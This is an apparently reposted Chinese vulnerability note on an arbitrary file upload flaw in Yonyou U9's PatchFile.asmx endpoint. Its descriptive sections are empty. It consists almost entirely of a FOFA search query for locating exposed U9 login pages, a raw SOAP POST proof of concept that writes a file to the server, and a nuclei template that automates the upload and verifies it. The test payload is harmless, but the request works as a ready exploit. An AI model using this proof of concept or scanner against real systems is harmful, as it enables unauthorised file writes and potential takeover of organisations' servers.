一、免责声明:
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二、产品介绍:
三、资产梳理:
fofa:title="U9-登录"
四、漏洞复现:
五、POC:
POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1
Host: target
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: .ASPXANONYMOUS=1OJZqnZ03AEkAAAAZGQ2ZDU0NzYtMDdiZS00YWJhLTk2ZTMtNmRhYTgxNDM5OTNi0; ASP.NET_SessionId=md4bw5fgleu1cxfdwk4w0o4n
Connection: close
Content-Type: text/xml; charset=utf-8
Content-Length: 433
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SaveFile xmlns="http://tempuri.org/">
<binData>VXBsb2FkLXN1Y2Nlc3NmdWxseQ==</binData>
<path>./</path>
<fileName>10086.txt</fileName>
</SaveFile>
</soap:Body>
</soap:Envelope>
nuclei:
id: U9_files_upload
info:
name: U9_files_upload
author: joyboy
severity: critical
description: U9_files_upload
metadata:
max-request: 1
fofa-query: title="U9-登录"
verified: true
tags: uploadFile
requests:
- raw:
- |-
POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Cookie: .ASPXANONYMOUS=1OJZqnZ03AEkAAAAZGQ2ZDU0NzYtMDdiZS00YWJhLTk2ZTMtNmRhYTgxNDM5OTNi0; ASP.NET_SessionId=md4bw5fgleu1cxfdwk4w0o4n
Connection: close
Content-Type: text/xml; charset=utf-8
Content-Length: 433
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SaveFile xmlns="http://tempuri.org/">
<binData>VXBsb2FkLXN1Y2Nlc3NmdWxseQ==</binData>
<path>./</path>
<fileName>10086.txt</fileName>
</SaveFile>
</soap:Body>
</soap:Envelope>
- |+
GET /CS/Office/AutoUpdates/10086.txt HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
req-condition: true
matchers:
- type: dsl
condition: and
dsl:
- 'contains((body_2), "Upload-successfully") && status_code_2 == 200'
原文始发于微信公众号(fly的渗透学习笔记):U9 PatchFile文件上传
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